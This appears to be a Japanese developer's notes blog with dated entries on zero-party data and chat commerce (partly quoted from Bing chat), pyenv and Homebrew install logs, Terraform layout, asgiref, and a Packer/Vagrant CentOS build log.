行動データには、個人がサイトやアプリ全体、またはページ上で行う操作すべてが含まれます。クリック操作や詳細な行動（マウスオーバー、スクロール、操作時間など）、セッション数、ユーザーのパーソナライズされた体験への関わり方なども含まれます。ファーストパーティデータがあれば、ユーザーの関心や意図を示す貴重な指標を収集できます。購入やダウンロードなどの取引データも、ファーストパーティデータに分類されます。

サードパーティデータ(企業が他団体から取得する行動データ)

自社保有していないサイトや情報源から取得、または購入したデータを指します。

パーソナライズで通常使用されるサードパーティデータには、人口統計情報、企業データ、購入意思（新築住宅市場やソフトウェアの市場などの場合）と、CRM、POS、コールセンターなどから得た付加情報があります。

ゼロパーティデータ(顧客が意図的に企業に預けるデータ)

Forrester Research社（英語）によって提唱された造語で、明示的なデータとも呼ばれます。

顧客が意図的・積極的に企業と共有するデータです。
ゼロパーティデータには、メールプリファレンスのデータ、購入意思、個人的背景、ユーザーが企業に『自分』をどのように認識してほしいかなどが含まれます
アンケート、聞き取りなど
チャットコマース

参照

GDPR:(General Data Protection Regulation：一般データ保護規則）(EU加盟国に同一に直接効力を持つ)
CCPA:(カリフォルニア州消費者プライバシー法: California Consumer Privacy Act)

Bing

ゼロパーティデータとは、顧客が意図的・積極的に企業と共有するデータのことです¹。顧客の趣味嗜好や興味関心の情報が含まれ、パーソナライズやキャンペーンを推進するのに役立ちます²³⁴。

ソース: Bing との会話 2023/4/15

(1) ゼロパーティデータとは？ | セールスフォース・ドットコム. https://bing.com/search?q=%e3%82%bc%e3%83%ad%e3%83%91%e3%83%bc%e3%83%86%e3%82%a3%e3%83%87%e3%83%bc%e3%82%bf アクセス日時 2023/4/15.
(2) ゼロパーティデータとは？ | セールスフォース・ジャパン. https://www.salesforce.com/jp/resources/articles/what-is-zero-party-data/ アクセス日時 2023/4/15.
(3) 今さら聞けない話題の「ゼロパーティ・データ」とは？ | JP …. https://www.criteo.com/jp/blog/what-is-zero-party-data/ アクセス日時 2023/4/15.
(4) DX時代のカギを握る「ゼロパーティデータ」とは？いま重要視さ …. https://www.powerweb.co.jp/blog/entry/2022/03/15/100000 アクセス日時 2023/4/15.

ゼロパーティデータは、様々な方法で活用できます。例えば、¹⁴⁵

商品やサービスの改善に生かす
業務改善に生かす
新商品の開発に生かす
パーソナライズやキャンペーンの強化に生かす

ゼロパーティデータを活用するには、顧客IDや個人情報と紐づけて蓄積し、セグメントとして切ることが必要です²。

ソース: Bing との会話 2023/4/15

(1) ゼロパーティデータとは？ゼロパーティデータが重視される …. https://bing.com/search?q=%e3%82%bc%e3%83%ad%e3%83%91%e3%83%bc%e3%83%86%e3%82%a3%e3%83%87%e3%83%bc%e3%82%bf%e3%81%ae%e6%b4%bb%e7%94%a8%e6%96%b9%e6%b3%95 アクセス日時 2023/4/15.
(2) ゼロパーティデータの概要からおすすめの活用法まで. https://data.wingarc.com/allabout_zero-party-data-39612 アクセス日時 2023/4/15.
(3) ゼロパーティデータとは？重要視すべき3つの理由と収集方法を …. https://www.transcosmos-cotra.jp/zero-party-data アクセス日時 2023/4/15.
(4) Cookieレス時代に「ゼロパーティデータ」が生み出す真の顧客 …. https://www.ever-rise.co.jp/dx-blog/zero-party-data/ アクセス日時 2023/4/15.
(5) ゼロパーティデータとは？ | セールスフォース・ジャパン. https://www.salesforce.com/jp/resources/articles/what-is-zero-party-data/ アクセス日時 2023/4/15.

ゼロパーティデータを収集するには、顧客に対価を提供して、自発的に情報を提供してもらうことが必要です¹²。対価としては、割引やクーポン、プレゼントなどがあります。また、設問内容や回答方法を吟味して、顧客の興味やニーズに合わせた内容にすることも大切です¹。

チャットコマース

Sat, 15 Apr 2023 00:00:00 +0000

チャットコマース

ゼロパーティデータの収集手段のひとつ

Bing

日本では、メンズスキンケアブランドのバルクオムがチャットコマースを活用しています²。バルクオムでは、ウェブサイトやLINEでチャットボットを使って、顧客にスキンケアのアドバイスや商品の紹介を行っています。チャットボットは、顧客の肌質や悩みに合わせたオススメの商品や使い方を教えてくれます。また、チャットボットから直接商品を購入することもできます。

海外では、ファッションブランドのH＆Mがチャットコマースを活用しています¹。H＆Mでは、メッセージングアプリのKikでチャットボットを使って、顧客にファッションのアドバイスや商品の紹介を行っています。チャットボットは、顧客の年齢や性別、好みなどに応じてコーディネートの提案や商品のレコメンドを行ってくれます。また、チャットボットから直接商品を購入することもできます。

ソース: Bing との会話 2023/4/15

(1) チャットコマースとは？メリットや導入事例を解説｜EC Work. https://ecwork.jp/3498 アクセス日時 2023/4/15.
(2) 2022年に132億円市場となる、チャットコマースとは？注目・成長 …. https://bing.com/search?q=%e3%83%81%e3%83%a3%e3%83%83%e3%83%88%e3%82%b3%e3%83%9e%e3%83%bc%e3%82%b9%e3%81%ae%e4%ba%8b%e4%be%8b アクセス日時 2023/4/15.
(3) 【5分で理解！】チャットコマースとは？市場・活用事例を紹介 …. https://atone.be/blog/%e3%83%81%e3%83%a3%e3%83%83%e3%83%88%e3%82%b3%e3%83%9e%e3%83%bc%e3%82%b9%e3%82%92%e3%82%8f%e3%81%8b%e3%82%8a%e3%82%84%e3%81%99%e3%81%8f%e8%a7%a3%e8%aa%ac/ アクセス日時 2023/4/15.
(4) 【比較事例10選】チャットコマースとは？導入企業やLINEなどの …. https://obot-ai.com/column/9689/ アクセス日時 2023/4/15.
(5) チャット型コマース(会話型コマース)とは何か？注目される理由 …. https://aixdesign.goo.ne.jp/column/chat-commerce/ アクセス日時 2023/4/15.

pyenv install 3.9.6

Fri, 27 Aug 2021 00:00:00 +0000

% pyenv install 3.9.6
python-build: use openssl@1.1 from homebrew
python-build: use readline from homebrew
Downloading Python-3.9.6.tar.xz...
-> https://www.python.org/ftp/python/3.9.6/Python-3.9.6.tar.xz
Installing Python-3.9.6...
python-build: use readline from homebrew
python-build: use zlib from xcode sdk
WARNING: The Python readline extension was not compiled. Missing the GNU readline lib?
ERROR: The Python ssl extension was not compiled. Missing the OpenSSL lib?
Please consult to the Wiki page to fix the problem.
https://github.com/pyenv/pyenv/wiki/Common-build-problems
BUILD FAILED (OS X 11.5.2 using python-build 2.0.5-2-gb2eb2d28)
Inspect or clean up the working tree at /var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/python-build.20210827141959.69396
Results logged to /var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/python-build.20210827141959.69396.log
Last 10 log lines:
./python.exe -E -m ensurepip \
$ensurepip --root=/ ; \
fi
Looking in links: /var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/tmp24q45onf
Processing /private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/tmp24q45onf/setuptools-56.0.0-py3-none-any.whl
Processing /private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/tmp24q45onf/pip-21.1.3-py3-none-any.whl
Installing collected packages: setuptools, pip
WARNING: The scripts pip3 and pip3.9 are installed in '/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/bin' which is not on PATH.
Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
Successfully installed pip-21.1.3 setuptools-56.0.0

Homebrew Applie Silicon

Thu, 26 Aug 2021 00:00:00 +0000

% /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
==> Checking for `sudo` access (which may request your password).
==> This script will install:
/opt/homebrew/bin/brew
/opt/homebrew/share/doc/homebrew
/opt/homebrew/share/man/man1/brew.1
/opt/homebrew/share/zsh/site-functions/_brew
/opt/homebrew/etc/bash_completion.d/brew
/opt/homebrew
==> The following new directories will be created:
/opt/homebrew/bin
/opt/homebrew/etc
/opt/homebrew/include
/opt/homebrew/lib
/opt/homebrew/sbin
/opt/homebrew/share
/opt/homebrew/var
/opt/homebrew/opt
/opt/homebrew/share/zsh
/opt/homebrew/share/zsh/site-functions
/opt/homebrew/var/homebrew
/opt/homebrew/var/homebrew/linked
/opt/homebrew/Cellar
/opt/homebrew/Caskroom
/opt/homebrew/Frameworks
Press RETURN to continue or any other key to abort
==> /usr/bin/sudo /bin/mkdir -p /opt/homebrew/bin /opt/homebrew/etc /opt/homebrew/include /opt/homebrew/lib /opt/homebrew/sbin /opt/homebrew/share /opt/homebrew/var /opt/homebrew/opt /opt/homebrew/share/zsh /opt/homebrew/share/zsh/site-functions /opt/homebrew/var/homebrew /opt/homebrew/var/homebrew/linked /opt/homebrew/Cellar /opt/homebrew/Caskroom /opt/homebrew/Frameworks
==> /usr/bin/sudo /bin/chmod u=rwx,g=rwx /opt/homebrew/bin /opt/homebrew/etc /opt/homebrew/include /opt/homebrew/lib /opt/homebrew/sbin /opt/homebrew/share /opt/homebrew/var /opt/homebrew/opt /opt/homebrew/share/zsh /opt/homebrew/share/zsh/site-functions /opt/homebrew/var/homebrew /opt/homebrew/var/homebrew/linked /opt/homebrew/Cellar /opt/homebrew/Caskroom /opt/homebrew/Frameworks
==> /usr/bin/sudo /bin/chmod g-w,o-w /opt/homebrew/share/zsh /opt/homebrew/share/zsh/site-functions
==> /usr/bin/sudo /usr/sbin/chown hdknr /opt/homebrew/bin /opt/homebrew/etc /opt/homebrew/include /opt/homebrew/lib /opt/homebrew/sbin /opt/homebrew/share /opt/homebrew/var /opt/homebrew/opt /opt/homebrew/share/zsh /opt/homebrew/share/zsh/site-functions /opt/homebrew/var/homebrew /opt/homebrew/var/homebrew/linked /opt/homebrew/Cellar /opt/homebrew/Caskroom /opt/homebrew/Frameworks
==> /usr/bin/sudo /usr/bin/chgrp admin /opt/homebrew/bin /opt/homebrew/etc /opt/homebrew/include /opt/homebrew/lib /opt/homebrew/sbin /opt/homebrew/share /opt/homebrew/var /opt/homebrew/opt /opt/homebrew/share/zsh /opt/homebrew/share/zsh/site-functions /opt/homebrew/var/homebrew /opt/homebrew/var/homebrew/linked /opt/homebrew/Cellar /opt/homebrew/Caskroom /opt/homebrew/Frameworks
==> /usr/bin/sudo /usr/sbin/chown -R hdknr:admin /opt/homebrew
==> Downloading and installing Homebrew...
remote: Enumerating objects: 189971, done.
remote: Counting objects: 100% (44/44), done.
remote: Compressing objects: 100% (44/44), done.
remote: Total 189971 (delta 0), reused 44 (delta 0), pack-reused 189927
Receiving objects: 100% (189971/189971), 51.67 MiB | 5.76 MiB/s, done.
Resolving deltas: 100% (140767/140767), done.
From https://github.com/Homebrew/brew
* [new branch] automerge-linux -> origin/automerge-linux
* [new branch] dependabot/bundler/Library/Homebrew/mechanize-2.8.2 -> origin/dependabot/bundler/Library/Homebrew/mechanize-2.8.2
* [new branch] dependabot/bundler/Library/Homebrew/mini_portile2-2.6.1 -> origin/dependabot/bundler/Library/Homebrew/mini_portile2-2.6.1
* [new branch] dependabot/bundler/Library/Homebrew/nokogiri-1.12.3 -> origin/dependabot/bundler/Library/Homebrew/nokogiri-1.12.3
* [new branch] master -> origin/master
* [new tag] 0.1 -> 0.1
* [new tag] 0.2 -> 0.2
* [new tag] 0.3 -> 0.3
* [new tag] 0.4 -> 0.4
* [new tag] 0.5 -> 0.5
* [new tag] 0.6 -> 0.6
* [new tag] 0.7 -> 0.7
* [new tag] 0.7.1 -> 0.7.1
* [new tag] 0.8 -> 0.8
* [new tag] 0.8.1 -> 0.8.1
* [new tag] 0.9 -> 0.9
* [new tag] 0.9.1 -> 0.9.1
* [new tag] 0.9.2 -> 0.9.2
* [new tag] 0.9.3 -> 0.9.3
* [new tag] 0.9.4 -> 0.9.4
* [new tag] 0.9.5 -> 0.9.5
* [new tag] 0.9.8 -> 0.9.8
* [new tag] 0.9.9 -> 0.9.9
* [new tag] 1.0.0 -> 1.0.0
* [new tag] 1.0.1 -> 1.0.1
* [new tag] 1.0.2 -> 1.0.2
* [new tag] 1.0.3 -> 1.0.3
* [new tag] 1.0.4 -> 1.0.4
* [new tag] 1.0.5 -> 1.0.5
* [new tag] 1.0.6 -> 1.0.6
* [new tag] 1.0.7 -> 1.0.7
* [new tag] 1.0.8 -> 1.0.8
* [new tag] 1.0.9 -> 1.0.9
* [new tag] 1.1.0 -> 1.1.0
* [new tag] 1.1.1 -> 1.1.1
* [new tag] 1.1.10 -> 1.1.10
* [new tag] 1.1.11 -> 1.1.11
* [new tag] 1.1.12 -> 1.1.12
* [new tag] 1.1.13 -> 1.1.13
* [new tag] 1.1.2 -> 1.1.2
* [new tag] 1.1.3 -> 1.1.3
* [new tag] 1.1.4 -> 1.1.4
* [new tag] 1.1.5 -> 1.1.5
* [new tag] 1.1.6 -> 1.1.6
* [new tag] 1.1.7 -> 1.1.7
* [new tag] 1.1.8 -> 1.1.8
* [new tag] 1.1.9 -> 1.1.9
* [new tag] 1.2.0 -> 1.2.0
* [new tag] 1.2.1 -> 1.2.1
* [new tag] 1.2.2 -> 1.2.2
* [new tag] 1.2.3 -> 1.2.3
* [new tag] 1.2.4 -> 1.2.4
* [new tag] 1.2.5 -> 1.2.5
* [new tag] 1.2.6 -> 1.2.6
* [new tag] 1.3.0 -> 1.3.0
* [new tag] 1.3.1 -> 1.3.1
* [new tag] 1.3.2 -> 1.3.2
* [new tag] 1.3.3 -> 1.3.3
* [new tag] 1.3.4 -> 1.3.4
* [new tag] 1.3.5 -> 1.3.5
* [new tag] 1.3.6 -> 1.3.6
* [new tag] 1.3.7 -> 1.3.7
* [new tag] 1.3.8 -> 1.3.8
* [new tag] 1.3.9 -> 1.3.9
* [new tag] 1.4.0 -> 1.4.0
* [new tag] 1.4.1 -> 1.4.1
* [new tag] 1.4.2 -> 1.4.2
* [new tag] 1.4.3 -> 1.4.3
* [new tag] 1.5.0 -> 1.5.0
* [new tag] 1.5.1 -> 1.5.1
* [new tag] 1.5.10 -> 1.5.10
* [new tag] 1.5.11 -> 1.5.11
* [new tag] 1.5.12 -> 1.5.12
* [new tag] 1.5.13 -> 1.5.13
* [new tag] 1.5.14 -> 1.5.14
* [new tag] 1.5.2 -> 1.5.2
* [new tag] 1.5.3 -> 1.5.3
* [new tag] 1.5.4 -> 1.5.4
* [new tag] 1.5.5 -> 1.5.5
* [new tag] 1.5.6 -> 1.5.6
* [new tag] 1.5.7 -> 1.5.7
* [new tag] 1.5.8 -> 1.5.8
* [new tag] 1.5.9 -> 1.5.9
* [new tag] 1.6.0 -> 1.6.0
* [new tag] 1.6.1 -> 1.6.1
* [new tag] 1.6.10 -> 1.6.10
* [new tag] 1.6.11 -> 1.6.11
* [new tag] 1.6.12 -> 1.6.12
* [new tag] 1.6.13 -> 1.6.13
* [new tag] 1.6.14 -> 1.6.14
* [new tag] 1.6.15 -> 1.6.15
* [new tag] 1.6.16 -> 1.6.16
* [new tag] 1.6.17 -> 1.6.17
* [new tag] 1.6.2 -> 1.6.2
* [new tag] 1.6.3 -> 1.6.3
* [new tag] 1.6.4 -> 1.6.4
* [new tag] 1.6.5 -> 1.6.5
* [new tag] 1.6.6 -> 1.6.6
* [new tag] 1.6.7 -> 1.6.7
* [new tag] 1.6.8 -> 1.6.8
* [new tag] 1.6.9 -> 1.6.9
* [new tag] 1.7.0 -> 1.7.0
* [new tag] 1.7.1 -> 1.7.1
* [new tag] 1.7.2 -> 1.7.2
* [new tag] 1.7.3 -> 1.7.3
* [new tag] 1.7.4 -> 1.7.4
* [new tag] 1.7.5 -> 1.7.5
* [new tag] 1.7.6 -> 1.7.6
* [new tag] 1.7.7 -> 1.7.7
* [new tag] 1.8.0 -> 1.8.0
* [new tag] 1.8.1 -> 1.8.1
* [new tag] 1.8.2 -> 1.8.2
* [new tag] 1.8.3 -> 1.8.3
* [new tag] 1.8.4 -> 1.8.4
* [new tag] 1.8.5 -> 1.8.5
* [new tag] 1.8.6 -> 1.8.6
* [new tag] 1.9.0 -> 1.9.0
* [new tag] 1.9.1 -> 1.9.1
* [new tag] 1.9.2 -> 1.9.2
* [new tag] 1.9.3 -> 1.9.3
* [new tag] 2.0.0 -> 2.0.0
* [new tag] 2.0.1 -> 2.0.1
* [new tag] 2.0.2 -> 2.0.2
* [new tag] 2.0.3 -> 2.0.3
* [new tag] 2.0.4 -> 2.0.4
* [new tag] 2.0.5 -> 2.0.5
* [new tag] 2.0.6 -> 2.0.6
* [new tag] 2.1.0 -> 2.1.0
* [new tag] 2.1.1 -> 2.1.1
* [new tag] 2.1.10 -> 2.1.10
* [new tag] 2.1.11 -> 2.1.11
* [new tag] 2.1.12 -> 2.1.12
* [new tag] 2.1.13 -> 2.1.13
* [new tag] 2.1.14 -> 2.1.14
* [new tag] 2.1.15 -> 2.1.15
* [new tag] 2.1.16 -> 2.1.16
* [new tag] 2.1.2 -> 2.1.2
* [new tag] 2.1.3 -> 2.1.3
* [new tag] 2.1.4 -> 2.1.4
* [new tag] 2.1.5 -> 2.1.5
* [new tag] 2.1.6 -> 2.1.6
* [new tag] 2.1.7 -> 2.1.7
* [new tag] 2.1.8 -> 2.1.8
* [new tag] 2.1.9 -> 2.1.9
* [new tag] 2.2.0 -> 2.2.0
* [new tag] 2.2.1 -> 2.2.1
* [new tag] 2.2.10 -> 2.2.10
* [new tag] 2.2.11 -> 2.2.11
* [new tag] 2.2.12 -> 2.2.12
* [new tag] 2.2.13 -> 2.2.13
* [new tag] 2.2.14 -> 2.2.14
* [new tag] 2.2.15 -> 2.2.15
* [new tag] 2.2.16 -> 2.2.16
* [new tag] 2.2.17 -> 2.2.17
* [new tag] 2.2.2 -> 2.2.2
* [new tag] 2.2.3 -> 2.2.3
* [new tag] 2.2.4 -> 2.2.4
* [new tag] 2.2.5 -> 2.2.5
* [new tag] 2.2.6 -> 2.2.6
* [new tag] 2.2.7 -> 2.2.7
* [new tag] 2.2.8 -> 2.2.8
* [new tag] 2.2.9 -> 2.2.9
* [new tag] 2.3.0 -> 2.3.0
* [new tag] 2.4.0 -> 2.4.0
* [new tag] 2.4.1 -> 2.4.1
* [new tag] 2.4.10 -> 2.4.10
* [new tag] 2.4.11 -> 2.4.11
* [new tag] 2.4.12 -> 2.4.12
* [new tag] 2.4.13 -> 2.4.13
* [new tag] 2.4.14 -> 2.4.14
* [new tag] 2.4.15 -> 2.4.15
* [new tag] 2.4.16 -> 2.4.16
* [new tag] 2.4.2 -> 2.4.2
* [new tag] 2.4.3 -> 2.4.3
* [new tag] 2.4.4 -> 2.4.4
* [new tag] 2.4.5 -> 2.4.5
* [new tag] 2.4.6 -> 2.4.6
* [new tag] 2.4.7 -> 2.4.7
* [new tag] 2.4.8 -> 2.4.8
* [new tag] 2.4.9 -> 2.4.9
* [new tag] 2.5.0 -> 2.5.0
* [new tag] 2.5.1 -> 2.5.1
* [new tag] 2.5.10 -> 2.5.10
* [new tag] 2.5.11 -> 2.5.11
* [new tag] 2.5.12 -> 2.5.12
* [new tag] 2.5.2 -> 2.5.2
* [new tag] 2.5.3 -> 2.5.3
* [new tag] 2.5.4 -> 2.5.4
* [new tag] 2.5.5 -> 2.5.5
* [new tag] 2.5.6 -> 2.5.6
* [new tag] 2.5.7 -> 2.5.7
* [new tag] 2.5.8 -> 2.5.8
* [new tag] 2.5.9 -> 2.5.9
* [new tag] 2.6.0 -> 2.6.0
* [new tag] 2.6.1 -> 2.6.1
* [new tag] 2.6.2 -> 2.6.2
* [new tag] 2.7.0 -> 2.7.0
* [new tag] 2.7.1 -> 2.7.1
* [new tag] 2.7.2 -> 2.7.2
* [new tag] 2.7.3 -> 2.7.3
* [new tag] 2.7.4 -> 2.7.4
* [new tag] 2.7.5 -> 2.7.5
* [new tag] 2.7.6 -> 2.7.6
* [new tag] 2.7.7 -> 2.7.7
* [new tag] 3.0.0 -> 3.0.0
* [new tag] 3.0.1 -> 3.0.1
* [new tag] 3.0.10 -> 3.0.10
* [new tag] 3.0.11 -> 3.0.11
* [new tag] 3.0.2 -> 3.0.2
* [new tag] 3.0.3 -> 3.0.3
* [new tag] 3.0.4 -> 3.0.4
* [new tag] 3.0.5 -> 3.0.5
* [new tag] 3.0.6 -> 3.0.6
* [new tag] 3.0.7 -> 3.0.7
* [new tag] 3.0.8 -> 3.0.8
* [new tag] 3.0.9 -> 3.0.9
* [new tag] 3.1.0 -> 3.1.0
* [new tag] 3.1.1 -> 3.1.1
* [new tag] 3.1.10 -> 3.1.10
* [new tag] 3.1.11 -> 3.1.11
* [new tag] 3.1.12 -> 3.1.12
* [new tag] 3.1.2 -> 3.1.2
* [new tag] 3.1.3 -> 3.1.3
* [new tag] 3.1.4 -> 3.1.4
* [new tag] 3.1.5 -> 3.1.5
* [new tag] 3.1.6 -> 3.1.6
* [new tag] 3.1.7 -> 3.1.7
* [new tag] 3.1.8 -> 3.1.8
* [new tag] 3.1.9 -> 3.1.9
* [new tag] 3.2.0 -> 3.2.0
* [new tag] 3.2.1 -> 3.2.1
* [new tag] 3.2.2 -> 3.2.2
* [new tag] 3.2.3 -> 3.2.3
* [new tag] 3.2.4 -> 3.2.4
* [new tag] 3.2.5 -> 3.2.5
* [new tag] 3.2.6 -> 3.2.6
* [new tag] 3.2.7 -> 3.2.7
* [new tag] 3.2.8 -> 3.2.8
* [new tag] 3.2.9 -> 3.2.9
HEAD is now at 858f3fbaa Merge pull request #11921 from Homebrew/dependabot/bundler/Library/Homebrew/sorbet-0.5.9070
==> Tapping homebrew/core
remote: Enumerating objects: 1030054, done.
remote: Counting objects: 100% (138/138), done.
remote: Compressing objects: 100% (67/67), done.
remote: Total 1030054 (delta 77), reused 132 (delta 71), pack-reused 1029916
Receiving objects: 100% (1030054/1030054), 386.75 MiB | 19.32 MiB/s, done.
Resolving deltas: 100% (705903/705903), done.
From https://github.com/Homebrew/homebrew-core
* [new branch] master -> origin/master
HEAD is now at ad32cdaac0 ezstream: update 1.0.2 bottle.
Warning: /opt/homebrew/bin is not in your PATH.
Instructions on how to configure your shell for Homebrew
can be found in the 'Next steps' section below.
==> Installation successful!
==> Homebrew has enabled anonymous aggregate formulae and cask analytics.
Read the analytics documentation (and how to opt-out) here:
https://docs.brew.sh/Analytics
No analytics data has been sent yet (or will be during this `install` run).
==> Homebrew is run entirely by unpaid volunteers. Please consider donating:
https://github.com/Homebrew/brew#donations
==> Next steps:
- Run these two commands in your terminal to add Homebrew to your PATH:
echo 'eval "$(/opt/homebrew/bin/brew shellenv)"' >> /Users/hdknr/.zprofile
eval "$(/opt/homebrew/bin/brew shellenv)"
- Run `brew help` to get started
- Further documentation:
https://docs.brew.sh

Terraform

Sat, 12 Jun 2021 00:00:00 +0000

README

tfenvのインストール
設定ファイルの作成
terraform init
terraform plan
terraform apply

設計運用

ファイル	内容
main.tf	リソースを作成する(`moduels`, `locals`, `data-sources`)
variables.tf	`main.tf` で使われる変数
outputs.tf	`main.tf` が作成したリソースの出力

1

% tree large-terraform

large-terraform
├── README.md
├── modules
│ └── network
│ ├── main.tf
│ ├── outputs.tf
│ └── variables.tf
├── prod
│ ├── main.tf
│ ├── outputs.tf
│ ├── terraform.tfvars
│ └── variables.tf
└── stage
├── main.tf
├── outputs.tf
├── terraform.tfvars
└── variables.tf

HCL (HCL is the HashiCorp configuration language.)

コメント:

Django: asgiref

Wed, 02 Jun 2021 00:00:00 +0000

asgiref

https://github.com/django/asgiref

ASGI:

ASGI is a standard for Python asynchronous web apps and servers to communicate with each other,
and positioned as an asynchronous successor to WSGI.
You can read more at https://asgi.readthedocs.io/en/latest/

This package includes ASGI base libraries, such as:

Sync-to-async and async-to-sync function wrappers, asgiref.sync
Server base classes, asgiref.server
A WSGI-to-ASGI adapter, in asgiref.wsgi

Function wrappers

These allow you to wrap or decorate async or sync functions to call them from the other style (so you can call async functions from a synchronous thread, or vice-versa).

OSC

Tue, 17 Nov 2020 00:00:00 +0000

都道府県

Tue, 23 Jan 2018 00:00:00 +0000

1

$ curl https://gist.githubusercontent.com/hdknr/5d4652c00dfd893ca87ba4d709951089/raw/d12a3b2c2108317720c37a51c905be3314558188/prefectures.json | jq ".[]" -r

jQuery

Fri, 07 Aug 2015 00:00:00 +0000

ツール

フォーム入力関係

セレクタ

前方, 部分、後方一致

イベントハンドラ

on : 動的な要素に対しても追加可能(https://app.codegrid.net/entry/practical-jquery-1)
hover: mouseenterとmouseleaveのエイリアス( http://h2ham.seesaa.net/article/242553044.html )

ドラッグ

https://johnny.github.io/jquery-sortable/

Test

Mon, 03 Aug 2015 00:00:00 +0000

Nose

BDD

Scripting

Selenium

Geolocation

Sat, 01 Aug 2015 00:00:00 +0000

Google Maps API

Packer

Fri, 31 Jul 2015 00:00:00 +0000

Packer && Box-Cutter for Windows

C:\Users\hdknr>vagrant --version
Vagrant 1.7.4
C:\Users\hdknr>packer --version
0.8.2
C:\Users\hdknr>ver
Microsoft Windows [Version 6.3.9600]

C:\Users\hdknr\Documents\work>git clone https://github.com/boxcutter/centos.git
Cloning into 'centos'...
remote: Counting objects: 1100, done.
remote: Compressing objects: 100% (6/6), done.
Rreceiving objects: 92% (1012/1100), 108.0emote: Total 1100 (delta 1), reused 0 (delta 0), pack-reused 1093
00 KiB/s
Receiving objects: 100% (1100/1100), 227.44 KiB | 196.00 KiB/s, done.
Resolving deltas: 100% (749/749), done.
Checking connectivity... done.
C:\Users\hdknr\Documents\work>cd centos

C:\Users\hdknr\Documents\work\centos>vim http\ks6.cfg

C:\Users\hdknr\Documents\work\centos>git diff http\ks6.cfg
diff --git a/http/ks7.cfg b/http/ks7.cfg
index 434a369..16797b0 100644
--- a/http/ks7.cfg
+++ b/http/ks7.cfg
@@ -14,11 +14,11 @@
# > linux text ks=http://<your_ip>:8000/ks.cfg
# Required settings
-lang en_US.UTF-8
-keyboard us
+lang ja_JP.UTF-8
+keyboard jp106
rootpw vagrant
authconfig --enableshadow --enablemd5
-timezone UTC
+timezone Asia/Tokyo
# Optional settings
install

C:\Users\hdknr\Documents\work\centos>packer validate centos66.json
Template validated successfully.

C:\Users\hdknr\Documents\work\centos>packer build -only=virtualbox-iso centos66.json
virtualbox-iso output will be in this color.
==> virtualbox-iso: Downloading or copying Guest additions
virtualbox-iso: Downloading or copying: file:///C:/Program%20Files/Oracle/VirtualBox/VBoxGuestAdditions.iso
==> virtualbox-iso: Downloading or copying ISO
virtualbox-iso: Downloading or copying: file:///iso/CentOS-6.6-x86_64-bin-DVD1.iso
virtualbox-iso: Error downloading: open iso/CentOS-6.6-x86_64-bin-DVD1.iso: The system cannot find the path specifie
d.
virtualbox-iso: Downloading or copying: http://mirrors.kernel.org/centos/6.6/isos/x86_64/CentOS-6.6-x86_64-bin-DVD1.
iso
virtualbox-iso: Download progress: 0%
...
==> virtualbox-iso: Starting HTTP server on port 8364
==> virtualbox-iso: Creating virtual machine...
==> virtualbox-iso: Creating hard drive...
==> virtualbox-iso: Creating forwarded port mapping for SSH (host port 2262)
==> virtualbox-iso: Executing custom VBoxManage commands...
virtualbox-iso: Executing: modifyvm centos66 --memory 512
virtualbox-iso: Executing: modifyvm centos66 --cpus 1
==> virtualbox-iso: Starting the virtual machine...
==> virtualbox-iso: Waiting 10s for boot...
==> virtualbox-iso: Typing the boot command...
==> virtualbox-iso: Waiting for SSH to become available...

==> virtualbox-iso: Uploading VirtualBox version info (4.3.30)
==> virtualbox-iso: Uploading VirtualBox guest additions ISO...
==> virtualbox-iso: Provisioning with shell script: script/fix-slow-dns.sh
virtualbox-iso: sudo: sudo を実行するには tty がなければいけません。すみません
==> virtualbox-iso: Unregistering and deleting virtual machine...
==> virtualbox-iso: Deleting output directory...
Build 'virtualbox-iso' errored: Script exited with non-zero exit status: 1
==> Some builds didn't complete successfully and had errors:
--> virtualbox-iso: Script exited with non-zero exit status: 1
==> Builds finished but no artifacts were created.

WordPress

Thu, 30 Jul 2015 00:00:00 +0000

Wordpress

https://ja.wordpress.org/

Note

URL Route

Test

Debug

Authentication

ドキュメントインデックス

Sat, 25 Jul 2015 00:00:00 +0000

PHP

NginxTool

Tue, 21 Jul 2015 00:00:00 +0000

$ git clone git@gist.github.com:7752aaa4aac58aa400b9.git bin

$ wget -qO- https://gist.github.com/hdknr/7752aaa4aac58aa400b9/archive/ac76968b64cbe682964880afc68b08bd54fc9987.zip | bsdtar -xvf-

Swift Related

Sun, 05 Jul 2015 00:00:00 +0000

xcrun swift on command line generate :0: error: could not load shared library (ライブラリのロード)
Regex in Swift
Learning Swift: Ordered Dictionaries
lithium3141/SwiftDataStructures

Wagtail

Mon, 23 Feb 2015 00:00:00 +0000

wagtail

modelcluster

django-modelcluster

taggit

django-taggit (doc)